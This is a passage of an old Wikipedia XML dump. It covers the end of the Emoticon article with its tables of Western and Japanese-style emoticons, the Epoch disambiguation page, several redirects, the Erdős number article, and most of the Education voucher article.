A few people turn the smiley around, a &quot;left handed&quot; smiley &lt;tt&gt; (: &lt;/tt&gt; This left-handed smiley can sometimes cause miscommunication though, since some ######## net addicts tend to drop the &lt;tt&gt; : &lt;/tt&gt; representing the eyes [leaving &lt;tt&gt; ) &lt;/tt&gt; instead of &lt;tt&gt; :) &lt;/tt&gt;] so what was intended to be a smile could be interpreted as a frown.

There also exists the use of [[umlaut]]s to achieve emoticons that aren't tilted to the side. For example, &lt;tt&gt;Ö&lt;/tt&gt; is the upright version of &lt;tt&gt;:O&lt;/tt&gt; (meaning that one is alarmed).

As more of a joke than anything – but also as a political statement – &quot;frownies&quot;, the symbol &lt;tt&gt; :-( &lt;/tt&gt;, were trademarked by [[Despair, Inc.]] in ''U.S. Trademark Serial No. 75502288, Registration No. 2347676''. The trademark applies only to &quot;Printed matter namely, greeting cards, posters and art prints&quot;. In January [[2001]] Despair issued a satirical [http://www.despair.com/demotivators/frownonthis.html press release] in which it was announced that the company would be suing &quot;over 7 million internet users&quot; who had infringed their trademark. They subsequently issued [http://www.despair.com/demotivators/acompromise.html another press release] a month later in response to the reaction their claim had generated.

XD (used to represent laughing) supposedly became popular on the internet shortly after it was used in the television show, ''[[South Park]]'', usually explained to the unknowing as the [[emoticon]] being akin to the animation method used when a character was laughing so hard they had their eyes closed (a sideways X for their eyes).

===Head and hands emoticons===

These emoticons aren't rotated, they include the letter &quot;o&quot; for a human head, and slashes and backslashes for the arms.

{| cellpadding=2
|-
| align=&quot;center&quot; | o/ || waving with or raising the left hand (person facing you)
|-
| align=&quot;center&quot; | \o || waving with or raising the right hand (person facing you); this is sometimes used to mimic a Nazi salute
|-
| align=&quot;center&quot; | /o || scratching one's head
|-
| align=&quot;center&quot; | /o\ || despair, cowering
|-
| align=&quot;center&quot; | \o/ || joy, note that \w/ is &quot;rock.&quot; 
|- 
| align=&quot;center&quot; |&lt;nowiki&gt; &lt;o/ _o&gt; &lt;o&gt; &lt;/nowiki&gt;|| dancing
|-
| align=&quot;center&quot; | &lt;o_/ \_o/ || fencing
|-
| align=&quot;center&quot; |&lt;nowiki&gt; &gt;-&lt;o &lt;/nowiki&gt;|| jumping, diving &lt;!--spread-eagled?--&gt;
|-
| align=&quot;center&quot; | o7 || saluting
|-
| align=&quot;center&quot; | *\o/* || cheerleader
|-
| align=&quot;center&quot; | &lt;O || honor
|-
| align=&quot;center&quot; | /=O=\ || goatse
|-
|}


They're also usable for displaying &quot;animations&quot;, e.g. a crowning process:

:  o/&quot; _o

:  o_ &quot;\o

:  o_  &lt;ö

:  o/  \ö/


Recently developed are &quot;handicons&quot; to represent hand gestures.{{citation needed}} They can be seen either right or left-handed (the examples below are shown from the perspective of facing a right-handed gesture). Many variantions use &quot;.&quot; as a knuckle instead of &quot;n&quot; or &quot;m&quot;. For the other hand, one simply reverses the order of the line and switches the knuckle (&lt; for left, &gt; for right).

{| cellpadding=2
|-
| align=&quot;center&quot; | &lt;lml or \m/ || [[Corna|Devil horns]] or rock jackal; commonly the hand gesture for &quot;rock on&quot; among [[Rock music|rock]] fans (left handed)
|-
| align=&quot;center&quot; | &lt;nlm || Flashing [[The finger|&quot;the bird&quot;]] (rig)
|-
| align=&quot;center&quot; | &lt;mnl || The [[Doctor Evil]] pinky as popularized by [[Austin Powers]]
|-
| align=&quot;center&quot; | &lt;Vm || The [[V sign]]
|-
| align=&quot;center&quot; | &lt;mm || [[wikt:Props|Props]] or the knuckle (often returned likewise as a greeting)
|-
|}

===Posture emoticons===
orz (sometimes seen as '''OTL''' '''Or2''', '''On_''', '''OTZ''', '''OTL''', '''O7Z''', '''Sto''', '''Jto''', '''_no''', '''_|￣|○''') spawned a [[subculture]] in late [[2004]].[http://www.boingboing.net/2005/02/07/all_about_orz.html] It illustrates a person facing left and kneeling on the ground: the &quot;o&quot; symbolizes the head, the &quot;r&quot; represents the arms and the body while the &quot;z&quot; shows the legs. People use the pictograph to show that they have failed and/or they are in despair. It is not read phonetically, the letters are spelled out. Not to be confused with '''m(_ _)m''', which means an apology.

Orz is associated sometimes with the phrase &quot;nice guy&quot; - that is, the concept of males being rejected for a date by girls they are pursuing with a phrase like &quot;You're a nice guy,&quot; &quot;I'd like to be your friend,&quot; etc., a la &quot;[[nice guy syndrome]]&quot;.

On [[imageboard]]s, it has been used not only for failure and despair, but also as a symbol for the [[kowtow]], illustrating instead a person bowing down in worship of a certain picture that was posted.

==East Asian style==
Users from [[East Asia]] (particularly [[Japanese language]] speakers those who visit [[2channel]]) popularized a style of emoticons known as ''verticons'' ([[Japanese language|Japanese]]: 顔文字, kaomoji; literally, &quot;face characters&quot;), which can be understood without turning one's head to the left.  These styles of faces roughly resemble the style commonly found in [[Japan|Japanese]] [[anime]] and [[manga]] comic books.  

The Japanese language is usually encoded using double-[[byte]] character codes. As a result there is a bigger variety of characters that can be used in emoticons, many of which cannot be reproduced in [[ASCII]]. Most kaomoji contain [[Cyrillic]] and other foreign letters to create even more complicated expressions analogous to [[ASCII art]]'s level of complexity. To type such emoticons, the input editor that is used to type Japanese on a user's system is equipped with a dictionary of emoticons, after which the user simply types the Japanese word (or something close to it) that represents the desired emoticon to convert the input into such complicated emoticons. Such expressions are known as [[Shift JIS art|Shift_JIS art]].
===Basic examples===

{|
|-
| align=&quot;center&quot; | m(_ _)m || bowing
|-
| align=&quot;center&quot; | (`ヘ´) || annoyed
|-
| align=&quot;center&quot; | （´・ω・｀） || deflated
|-
| align=&quot;center&quot; | （ ´Д｀） || yelling, or panting
|-
| align=&quot;center&quot; | （　ﾟДﾟ） || surprised, or loudmouthed
|-
| align=&quot;center&quot; | ┐('～`；)┌ || don't know the answer
|-
| align=&quot;center&quot; | （´∀｀） || carefree
|-
| align=&quot;center&quot; | （　´_ゝ`） || indifferent
|-
| align=&quot;center&quot; | Σ(゜д゜;) || shocked
|-
| align=&quot;center&quot; | (*´Д`) || heavy breathing
|-
| align=&quot;center&quot; | ＇へ＇凸　|| flipping someone [[the bird]]
|-
| align=&quot;center&quot; | V(-.-)V　|| rock on
|-
| align=&quot;center&quot; | ¯\(º_o)/¯ || Who Cares?
|-
| align=&quot;center&quot; | ╮(─▽─)╭ || &quot;who cares?&quot;
|-
| align=&quot;center&quot; | ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!! || &quot;it came!/hooray!/touchdown!&quot;
|}

==Anime style==

English [[anime]] forums spawned a form of kaomoji adapted for single-byte encoding. They have since seen use in more mainstream venues, including online gaming, instant-messaging, and other non-anime related forums. These emoticons are usually found in a format similar to (*_*), where the [[asterisk]]s indicate the [[eye]]s, the central character, usually an [[underscore]], the mouth, and the parentheses, the outline of the face. A large number of different characters can be used to replace the eyes, which usually is where the emoticon derives its emotive aspect (contrasting the Western emoticons' emoting through the mouth). The emphasis on the eyes is reflected in the common usage of emoticons that use only the eyes, e.g. ^^. Either a hyphen or a period can replace the underscore; the period is often used for a smaller, &quot;cuter&quot; mouth or to represent a nose, e.g. (^.^). Alternatively, the mouth/nose can be left out entirely, e.g. (^^). The parentheses also can often be replaced with [[Bracket#Curly brackets or braces .7B .7D|braces]], e.g. {^_^}. Many times, the parentheses are left out completely, e.g. o.o . A quotation mark &quot;, apostrophe ', or semicolon ; can be appended to the emoticon to imply apprehension or embarrassment, à la the anime [[sweat drop]]. Many other characters can be appended to also indicate arms or hands, e.g. &lt;(^_^)&gt;. Anime style emoticons which include the parentheses, mouth or nose, and arms (especially those represented by the inequality signs &lt; or &gt;) also are often referred to as &quot;Kirbies&quot; in reference to their likeness to [[Nintendo]]'s [[video game]] character, [[Kirby (Nintendo)|Kirby]]. 

===Basic examples===
&lt;!--Note to editors: This list should be kept fairly short. It is not meant to be comprehensive. Please think carefully before adding your favorite emoticon.--&gt;
{|
|-
| align=&quot;center&quot; | (^_^) or (^-^)|| smiley
|-
| align=&quot;center&quot; | (`_^) or (^_~)|| wink
|-
| align=&quot;center&quot; | (&gt;_&lt;) || angry, frustrated
|-
| align=&quot;center&quot; | (^o^) || singing, or laughing maniacally
|-
| align=&quot;center&quot; | \(^o^)/ || very excited (raising hands)
|-
| align=&quot;center&quot; | (-_-) or (~_~) or (=_=) || annoyance, resignation, or sleeping (eyes shut), grumpy
|-
| align=&quot;center&quot; | (-_-;) or (^_^') or (^_^);; || nervousness, or [[sweatdrop]] (embarrassed; semicolon can be repeated)
|-
| align=&quot;center&quot; | (-_-#) or (-_-¤) || vein (used to show frustration)
|-
| align=&quot;center&quot; | (¬_¬) || eyeing something or someone, sometimes used as an expression of rolling one's eyes
|-
| align=&quot;center&quot; | (&lt;_&lt;) || skepticism, looking around suspiciously
|-
| align=&quot;center&quot; | (;_;) or (T_T) || crying
|-
| align=&quot;center&quot; | (@_@) || dazed
|-
| align=&quot;center&quot; | (o_O) || confused surprise
|-
| align=&quot;center&quot; | (0_&lt;) || flinch, nervous wink
|-
| align=&quot;center&quot; | (O_O) || shocked
|-
| align=&quot;center&quot; | (._.) || intimidated, sad, ashamed
|-
| align=&quot;center&quot; | ($_$) || money eyes; thinking about money
|-
| align=&quot;center&quot; | (x_x) or (+_+) || dead or knocked out; giving up, lost, confused
|-
| align=&quot;center&quot; | (n_n) || pleased
|-
| align=&quot;center&quot; | (u_u) || annoyance, sarcasm, sometimes disappointment
|-
| align=&quot;center&quot; | (9_9) || eye rolling
|-
| align=&quot;center&quot; | (e_e) || mischief, distrust
|-
| align=&quot;center&quot; | (*_*) || star-struck
|-
| align=&quot;center&quot; | (&quot;,) || smirk
|-
| align=&quot;center&quot; | (&quot;o) || side shocked
|-
| align=&quot;center&quot; | (-.-)zzZ || sleeping
|-
| align=&quot;center&quot; | (o)_(o) || alternative for tired; sometimes used to illustrate crazed
|-
| align=&quot;center&quot; | ;o; or ;O; || crying loudly/shouting
|-
| align=&quot;center&quot; | T_T or TT_TT or Y_Y || exaggerated crying, so that the eyes are closed and tears stream down the face
|}

===Complex examples===

&lt;!--Note to editors: This list should be kept very short. The idea is to give an idea of what is possible. Please think carefully before adding your favorite emoticon.--&gt;
{|
|-
| align=&quot;center&quot; | (ô ô) || boy (sometimes also used to indicate surprise)
|-
| align=&quot;center&quot; | (ö ö) || girl
|-
| align=&quot;center&quot; | (ó ò) || surprised, scared
|-
| align=&quot;center&quot; | (ò ó) || angry
|-
| align=&quot;center&quot; | (ó ô) || quizzical or &quot;Indeed&quot; (designed to mimic [[Star Trek]]'s [[Mr. Spock]])
|-
| align=&quot;center&quot; | (╥_─) || annoyed, hiding frustration
|-
| align=&quot;center&quot; | =^_^= || [[blush]]ing, or a cat face (mischievous)
|-
| align=&quot;center&quot; | ^n_n^ || [[catgirl]] or boy
|-
| align=&quot;center&quot; | d-_-b || listening to music, labeling title afterwards
|-
| align=&quot;center&quot; | &lt;nowiki&gt;~~~~&gt;_&lt;~~~~&lt;/nowiki&gt; || weeping horribly
|-
| align=&quot;center&quot; | &lt;(^_^)&gt;,(&gt;^_^)&gt;, etc. || dancing, especially used to specifically show [[Kirby (Nintendo)|Kirby]] dancing
|-
| align=&quot;center&quot; | (&gt;^_^)&gt; &lt;(^_^&lt;) || hugging
|-
| align=&quot;center&quot; | (&gt;^_^(&gt;O.o)&gt; || sexual intercourse, normally used to depict rape and/or ######## (extensible)
|-
| align=&quot;center&quot; | ( ~^_^)~ || dancing
|-
| align=&quot;center&quot; | (9ò_ó)-o || fighting, throwing a punch
|-
| align=&quot;center&quot; | /¯\_/°^_^°\_/¯\ || [[Sailor Moon]] (extensible)
|-
| align=&quot;center&quot; | w-('u')-w || [[Kilroy was here]] (extensible)
|-
| align=&quot;center&quot; | p(^o^)q || good luck
|-
| align=&quot;center&quot; | (b~_^)b || thumbs-up
|-
| align=&quot;center&quot; | (p-_-)p || thumbs-down
|-
| align=&quot;center&quot; | t(-_-t) or ,,l,(&gt;.&lt;),l,, || flipping off
|-
| align=&quot;center&quot; | (^^ .)\\// || giving the [[V-sign]]
|-
| align=&quot;center&quot; | m &lt;(~_~)&gt; m || kitten
|-
| align=&quot;center&quot; | ~~(=_=)~~ || [[Breakdancing|breakdance]]
|-
| align=&quot;center&quot; | \m/&gt;_&lt;\m/ || rockin' out
|-
| align=&quot;center&quot; | ¯\(º_o)/¯ || AIIIRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
|-
| align=&quot;center&quot; | \0-0/ || wearing glasses (nerd)
|}

==Graphic emoticons==

Graphical emoticons (small images that often automatically replaced typed text) commonly are used instead of the older text variants, especially on [[Internet forum]]s and [[instant messenger]] programs.

===Examples===

 [[Image:cry-tpvgames.gif]] [[Image:confused-tpvgames.gif]] [[Image:sad-tpvgames.gif]] [[Image:shocked-tpvgames.gif]] [[Image:smile-tpvgames.gif]] [[Image:misc-tpvgames.gif]]

==See also==
* [[Internet slang]]
* [[Egyptian hieroglyph]]
* [[HTML Comic]]

==External links==
{{commons|Category:Smilies}}

===History===

* 1976: [http://www.platopeople.com/emoticons.html PLATO emoticons] — advanced emoticons using [[PLATO]] and overstriking techniques
* 1982: [http://research.microsoft.com/~mbj/Smiley/Smiley.html The First Smiley :-)] Evidence of one of the first smiley emoticons from 1982
* 1982: [http://www-2.cs.cmu.edu/~sef/sefSmiley.htm Smiley Lore :-)] by Scott E. Fahlman, who is widely credited as being the first person to use a sideways smiley face in an electronic medium.
* 1998: [http://tarr.uspto.gov/servlet/tarr?regser=serial&amp;entry=75502288 U.S. Trademark Serial No. 75502288, Registration No. 2347676] — Evidence of the frowny-face emoticon being trademarked by [[Despair, Inc.]]
* 2001: [http://web.archive.org/web/20010202140900/www.despair.com/demotivators/frownonthis.html Press release from Depair, Inc. regarding their emoticon trademark] — A tongue-in-cheek press release regarding their trademark registration of the :-( emoticon. (Note: While the press release may be humorous, the registration is legitimate.)

===Examples===
* [http://www.traviscarden.com/emoticons Travis Carden's Dictionary of Emoticons]
* [http://messenger.msn.com/Resource/Emoticons.aspx List of MSN messenger emoticons]
* [http://help.yahoo.com/help/us/messenger/win/im/im-12.html List of Yahoo messenger emoticons]
* [http://www.aim.com/emoticons.adp?aolp= List of AOL messenger emoticons]
* [https://mail.google.com/support/bin/answer.py?answer=34056 List of Gmail chat emoticons]

===Japanese emoticons===

* [http://www.anikaos.com Anikaos Japanese Anime emoticons]
* [http://maestro.hiya-host.com/maestrosync/emoticons.php Japanese/Anime Emoticons List]
* [http://indo.to/english/rie/08.htm The Art of Emoticons]
* [http://www.pacificovertures.com/Jemoticon.html Japanese e-mail emoticons]
* [http://www.kevinshen.com/emoticons Archive of Animated Emoticons]
* [http://whatis.techtarget.com/definition/0,,sid9_gci212056,00.html Japanese emoticons (a whatis definition)]
* [http://cs.nyu.edu/ms_students/cera7013/class/japan.htm Japanese Emoticons (''New York Times'' article)]
* [http://club.pep.ne.jp/%7ehiroette/en/facemarks/body.html Japanese Smileys]
* [http://www-scf.usc.edu/~placenci/Anime/J_Emoticons.html Japanese Smilies]
* [http://kozou.run.buttobi.net/ AA(Japanese ASCII art) underground thread @ hiding place (English version)]
[[Category:ASCII art]]
[[Category:Computing portmanteaus]]
[[Category:Internet culture]]
[[Category:On-line chat]]

===[[Prescriptive grammar]]s of extra-emoticon [[syntax]]===
* [http://www.music.mcgill.ca/~benjamin/misterpenguin/2005/10/text-message-era-grammar-question-and.html Proposed Standard for Parenthesized Emoticons]
* [http://tpvgames.co.uk/includes/articles/emoticon-grammer.php Emoticon grammar standards]

[[cs:Emotikon]]
[[da:Emoticon]]
[[de:Emoticon]]
[[es:Emoticono]]
[[eo:Miensimbolo]]
[[fr:Emoticon]]
[[ko:이모티콘]]
[[ia:Emoticone]]
[[it:Emoticon]]
[[he:רגשונים]]
[[lt:Šypsenėlė]]
[[hu:Emotikon]]
[[nl:Emoticon]]
[[ja:顔文字]]
[[pl:Emotikon]]
[[pt:Emoticon]]
[[ru:Смайлик]]
[[fi:Hymiö]]
[[sv:Uttryckssymbol]]
[[th:อีโมติคอน]]
[[zh:表情符号]]</text>
    </revision>
  </page>
  <page>
    <title>Epoch</title>
    <id>9740</id>
    <revision>
      <id>40621068</id>
      <timestamp>2006-02-21T22:01:39Z</timestamp>
      <contributor>
        <ip>142.13.28.145</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|epoch}}
Depending on context, '''epoch''' can refer to:

A period of time:
* a distinctive [[historical period]] or [[era]]
* a unit of the [[geologic time scale]], less than a period and greater than an age
* a phase in the [[Timeline of the Big Bang|development of the universe]] with distinctive properties

A moment in time:
* an instant of origin chosen as the [[epoch (reference date)]] from which time is measured in a [[calendar era]] or in a computer system.
* an [[epoch (astronomy)]], a moment in time for which celestial coordinates or orbital elements are specified.
* a step in the training process of an [[artificial neural network]]

'''Epoch''' as a proper noun:
* The [[Epoch Game Pocket Computer]], an early handheld game console
* [[Epoch (Chrono Trigger)]], a flying time machine in role-playing game ''Chrono Trigger''
* [[Epoch (comics)]], a supervillain in DC comics, also known as the Lord of Time
* [[The Epoch Times]], a Chinese newspaper

{{disambig}}

[[de:Epoche]]
[[es:Época]]
[[eo:Epoko]]
[[it:Epoca]]
[[pl:Epoka]]
[[pt:Época]]
[[sv:Tidsepok]]
[[sv:Epok]]</text>
    </revision>
  </page>
  <page>
    <title>E.B. White</title>
    <id>9741</id>
    <revision>
      <id>15907612</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[E. B. White]]
</text>
    </revision>
  </page>
  <page>
    <title>Erdős number</title>
    <id>9742</id>
    <revision>
      <id>42074141</id>
      <timestamp>2006-03-03T17:20:22Z</timestamp>
      <contributor>
        <username>Sixtus</username>
        <id>175651</id>
      </contributor>
      <minor />
      <comment>nl:Erdősgetal</comment>
      <text xml:space="preserve">The '''Erd&amp;#337;s number''', honouring the late [[Hungary|Hungarian]] mathematician [[Paul Erd&amp;#337;s]], one of the most prolific writers of mathematical papers, is a way of describing the &quot;collaborative distance&quot;, in regard to mathematical papers, between an author and Erd&amp;#337;s.

An author's Erd&amp;#337;s number is defined [[mathematical induction|inductively]] as follows:
*Paul Erd&amp;#337;s has an Erd&amp;#337;s number of zero.
*The Erd&amp;#337;s number of author ''M'' is one plus the minimum among the Erd&amp;#337;s numbers of all the authors with whom ''M'' coauthored a mathematical paper.

Erd&amp;#337;s wrote around 1500 mathematical articles in his lifetime, mostly co-authored. He had 509 direct collaborators; these are the people with Erd&amp;#337;s number 1.  The people who have collaborated with them (but not with Erd&amp;#337;s himself) have an Erd&amp;#337;s number of 2 (6,984 people), those who have collaborated with people who have an Erd&amp;#337;s number of 2 (but not with Erd&amp;#337;s or anyone with an Erd&amp;#337;s number of 1) have an Erd&amp;#337;s number of 3, and so forth.

Erd&amp;#337;s numbers have been a part of the folklore of mathematicians throughout the world for many years. Amongst all working mathematicians at the turn of the millennium, the numbers range up to 15, but the average is less than 5, and almost everyone with a finite Erd&amp;#337;s number has a number less than 8.  Due to the increasing amount of interdisciplinary collaboration that
crosses subdisciplines, it is possible that a substantial fraction of all working scientists
who have published many papers with collaborators have finite Erd&amp;#337;s numbers -- even
in fields that may seem very distant from [[pure mathematics]].  For instance, if a [[statistics|statistician]]
who has a finite Erd&amp;#337;s number collaborates with some pharmacologists in the analysis
of a clinical trial, now all these pharmacologists will have finite Erd&amp;#337;s numbers,
as will by extension all who collaborated with them on other publications.

According to Alex Lopez-Ortiz, all the [[Fields Medal|Fields]] and [[Nevanlinna Prize|Nevanlinna]] prize winners during the three cycles in 1986 to 1994 have Erd&amp;#337;s number at most 9.

The [[Bacon number]] (as in the [[Six Degrees of Kevin Bacon]]) is an application of the same idea to the movie industry, connecting actors that appeared in a film together to the actor [[Kevin Bacon]].

[[Jerry Grossman]], [[Marc Lipman]], and Eddie Cheng have been looking at some questions in pure [[graph theory]] motivated by these collaboration graphs.

Also, [[Michael Barr]] suggests &quot;rational Erd&amp;#337;s numbers&quot;, generalizing the idea that a person who has written p joint papers with Erd&amp;#337;s should be assigned Erd&amp;#337;s number 1/p. From the collaboration multigraph of the second kind (although he also has a way to deal with the case of the first kind) -- with one edge between two mathematicians for ''each'' joint paper they have produced -- form an electrical network with a one-ohm resistor on each edge. The total resistance between two nodes tells how &quot;close&quot; these two nodes are.

On [[April 20]] [[2004]] [http://williamtozier.com/slurry Bill Tozier], a researcher with Erd&amp;#337;s number 4, offered the chance for collaboration to attain an Erd&amp;#337;s number 5 in an auction on [[eBay]].&lt;!-- [http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3189039958] --&gt; The final bid was $1,031, though apparantly the winning bidder had no intention to pay [http://www.zephoria.org/thoughts/archives/2004/04/21/decrease_your_erdos_number.html].  The winner considered it a &quot;mockery&quot;, and said &quot;papers have to be worked and earned, not sold, auctioned or bought&quot;.

Another [[eBay]] auction &lt;!-- [http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;category=317&amp;item=5909401796] --&gt;offered an Erd&amp;#337;s number of 2 for a prospective paper to be submitted for publication to ''Chance'' (a magazine of the [[American Statistical Association]]) about skill in the [[World Series of Poker]] and the [[World Poker Tour]].  It closed on [[22 July]] [[2004]] with a winning bid of $127.40.  This is noteworthy because with the exception of a few co-authored articles to be published posthumously, 2 is the minimum number that can now be achieved.

It is jokingly said that [[Baseball Hall of Fame|Baseball Hall of Famer]] [[Hank Aaron]] has an Erd&amp;#337;s number of 1 because they both autographed the same baseball when [[Emory University]] awarded them honorary degrees on the same day.

==See also==
* [[Small-world network]]s
* [[Small world phenomenon]]
* [[Six Degrees of Kevin Bacon]]
* [[Shusaku number]]
* [[Erdős-Bacon number]]

==External links==
* Jerry Grossman, [http://www.oakland.edu/enp The Erdös Number Project]. Contains statistics and a complete list of all mathematicians with an Erd&amp;#337;s number less than or equal to 2.
[[Category:Social networking]]
[[Category:Mathematics]]
[[Category:Academic publishing]]

[[ca:Nombre d'Erdős]]
[[de:Erdös-Zahl]]
[[fr:Nombre d'Erdős]]
[[ko:에르되시 수]]
[[hu:Erdős-szám]]
[[nl:Erdősgetal]]
[[pl:Liczba Erdősa]]
[[th:หมายเลขแอร์ดิช]]</text>
    </revision>
  </page>
  <page>
    <title>Education vouchers</title>
    <id>9743</id>
    <revision>
      <id>15907614</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Education voucher]]
</text>
    </revision>
  </page>
  <page>
    <title>Edgar Allen Poe/The Black Cat</title>
    <id>9744</id>
    <revision>
      <id>15907615</id>
      <timestamp>2004-07-12T07:36:14Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[The Black Cat (short story)]]</text>
    </revision>
  </page>
  <page>
    <title>Edgar Allan Poe/The Black Cat</title>
    <id>9745</id>
    <revision>
      <id>24815862</id>
      <timestamp>2005-10-05T15:07:19Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[The Black Cat (short story)]]</text>
    </revision>
  </page>
  <page>
    <title>Edgar Allan Poe/The Devil in the Belfry</title>
    <id>9746</id>
    <revision>
      <id>15907617</id>
      <timestamp>2002-07-12T15:36:18Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>redirect to The Devil in the Belfry</comment>
      <text xml:space="preserve">#REDIRECT [[The Devil in the Belfry]]</text>
    </revision>
  </page>
  <page>
    <title>Education voucher</title>
    <id>9750</id>
    <revision>
      <id>41514817</id>
      <timestamp>2006-02-27T21:52:48Z</timestamp>
      <contributor>
        <ip>128.190.62.54</ip>
      </contributor>
      <comment>/* Criticism */  fundamentalist opposition</comment>
      <text xml:space="preserve">An '''education voucher''', commonly called a '''school voucher''', is a certificate by which parents are given the ability to pay for the [[education]] of their children at a school of their choice, rather than the [[public school]] to which they were assigned.

==Controversy==

===Proponents===
Those in favor of [[school choice]] argue that they should be permitted to spend their tax dollars at the educational facility of their choosing, allowing parents to be able to choose which school they want their children to attend. In addition, it is promised that this will allow [[competition]] between schools,  improving the quality of schools overall.  Some studies support the hypothesis of reduced racial and economic segregation through the abolishment of territorial-based school allocation in the public monopoly system (where students are assigned to schools according to territory, thus dividing students between richer and poorer neighborhoods), as well as greater free choice and quality improvement by forcing schools to compete among themselves by offering more diverse and interesting programs.

===Criticism===
Some critics of the voucher system note that it is possible to have choice between schools without vouchers ''within'' the public school system, as exists in some public school systems.

Anti-school choice or anti-choice detractors state that such choice often results in the selection of a religious school, so that public funds are given to a religious institution, thus violating the [[separation of church and state]].  Theoretically, a religious school that endorses extremism (be it Christian, Muslim, etc.) could be eligible to accept taxpayer funded vouchers. Further, many argue that given the limited budget for schools, a voucher system weakens [[public school]]s while at the same time not necessarily providing enough money for people to attend [[private school]]s.  (The opponents assert a tendency of the costs of tuition to rise along with its demand, which further compounds the problem.)  This weakens the educational possibilities for many. Since vouchers typically pay much less than the tuition charged by the private schools, only the richer students and those given [[scholarship]]s will be able to attend them (and, those schools where the tuition might be cheaper, might not accept vouchers &amp;ndash; see next paragraph regarding fundamentalist opposition). Opponents also claim that the vouchers are tantamount to providing taxpayer-subsidized [[white flight]] from urban public schools, whose student bodies are predominantly non-white in most large cities. Proponents such as [[Milton Friedman]] respond that the poor have an incentive to support school choice, as their children attend substandard schools, and would thus benefit most from alternative schools. Consequently, minorities, especially blacks, would benefit and contribute to the diversity of private schooling. The rich on the other hand, already attend schools of remarkable quality in affluent suburbs and would have no incentive to switch schools. In short, the more decrepit the school one attends, the more incentive he has to switch schools and thus benefit from school vouchers.

Interestingly, some [[fundamentalist]] groups side with liberals in opposition to school vouchers, albeit on different grounds.  The general fundamentalist opposition is based on the ''source'' of the vouchers, which would be the government.  Fundamentalists (who strongly oppose '''''any''''' government oversight of their operations) state that, if a church-run school accepts a government voucher, they have thus allowed the government the &quot;right&quot; to dictate the school's operation, and by extension the church's operation as well.  Therefore, the government could order the church to stop speaking against practices such as [[abortion]] and [[homosexuality]], since it now &quot;controls&quot; the church through its acceptance of government funds.

====Economics====
A minority of voucher opponents in the U.S. object on radically different grounds. These opponents believe that granting government money, even indirectly, to private and religious schools will inevitably lead to increased governmental control over non-government education. Individuals who oppose vouchers on these grounds are often [[libertarian]]; a few of them go so far as to call for the abolition of all government sponsorship of education in the U.S. The [[Alliance for the Separation of School &amp; State]] opposes education vouchers on the grounds that &quot;if vouchers become commonplace, private and religious schools will become more and more like public schools&quot;[http://www.honestedu.org/misc/vouchers.php]. Other libertarians, such as [[Milton Friedman]], fully support school vouchers, though his plan assumes no additional regulation of private schools.

In addition, economists point to the problem of &quot;[[cream skimming]],&quot; a variety of [[adverse selection]] in the educational market.  With a presumably greater pool of applicants, the [[private school]]s will be more selective over which students to admit, possibly excluding those who belong to the &quot;wrong&quot; religion or ethnicity, those with disabilities such as autism or multiple sclerosis, and those with disciplinary problems. On the other hand, by law the public schools have to educate ''everyone'', so that they become a &quot;dumping ground&quot; for those students unwanted by the private schools. This further undermines the reputation of the public schools, leading to a [[virtuous circle and vicious circle|vicious circle]] that tends toward the total abolition of the public schools and the end of universal education. Alternatively, private schools may spring up to meet the demand of those empowered by school choice and thus negate this possible disaster.

Often, the low costs of the private schools benefiting from voucher funds arises from the non-[[labor union|union]] status of their staffs and their limited overhead because of their exemption from laws protecting those with disabilities and the like. Government regulations aimed at making the private schools act like &quot;good citizens&quot; threaten to make them be exactly like the public schools.

==Implementations==

In [[Chile]], there is a voucher system in which the State pays directly to private schools based on recruitment. The schools show consistently better results in standarized testing than state schools (municipal), with 35% of children studying in such schools. However, while studying this system, Dr. Martin Carnoy of Stanford, Patrick J. McEwan and others have found that when controls for the student's background (parental income and education) are introduced, the difference in performance between public and private subsectors is not significant. Alejandra Mizala and Pilar Romaguera (University of Chile) have found that there is greater variation within each subsector than between the two.

School choice also exists in the [[Netherlands]], [[Sweden]], [[Spain]], [[Poland]] and a few other countries, generally supported by political parties ranging from the Right to the Center-Left, and were sometimes introduced by the Center-Left itself (in the Netherlands). It should be stressed that not all voucher programs are alike, so that those introduced by the Left may differ in many ways from those of the Right. Since the context in which the plan is introduced affects outcomes, it can be hard to generalize from either successes or failures. 

However, the policy has remained deeply unpopular in other countries. In the UK, The Conservative Party proposed such a policy during the 2005 general election. It was blamed by many for their subsequent defeat after being the subject of an negative election broadcast (similar to an &quot;attack ad&quot;) by the winning Labour party. 

===United States===

The school voucher question in the United States received a considerably amount of judicial review in the early 2000s.

A program authorized by the state of [[Ohio]] in the city of [[Cleveland]] was challenged in court on the grounds that it violated the federal constitutional principle of separation of church and state, and the [[Ohio Constitution]]'s guarantee of religious liberty.  These claims were rejected by the [[Ohio Supreme Court]], but the federal claims were upheld by [[United States District Court for the Northern District of Ohio|the local federal district court]] and by the [[United States Court of Appeals for the Sixth Circuit|Sixth Circuit appeals court]].[http://edreform.com/school_choice/supreme_court_ruling.htm]  The fact that nearly all of the families using vouchers attended Catholic schools in the Cleveland area was cited in the decisions.[http://archives.cnn.com/2002/LAW/06/27/scotus.school.vouchers/]  In a 2002 ruling in the case ''Zelman v. Simmons-Harris'', the [[Supreme Court of the United States]] ruled in a 5-4 vote that the Ohio program was Constitutional.  The justices cited the private choice made by the parents and affirmed that the ultimate purpose (improving elementary education) was secular.

The Florida Supreme Court on January 5, 2006 struck down laws that allowed for school vouchers in Florida.

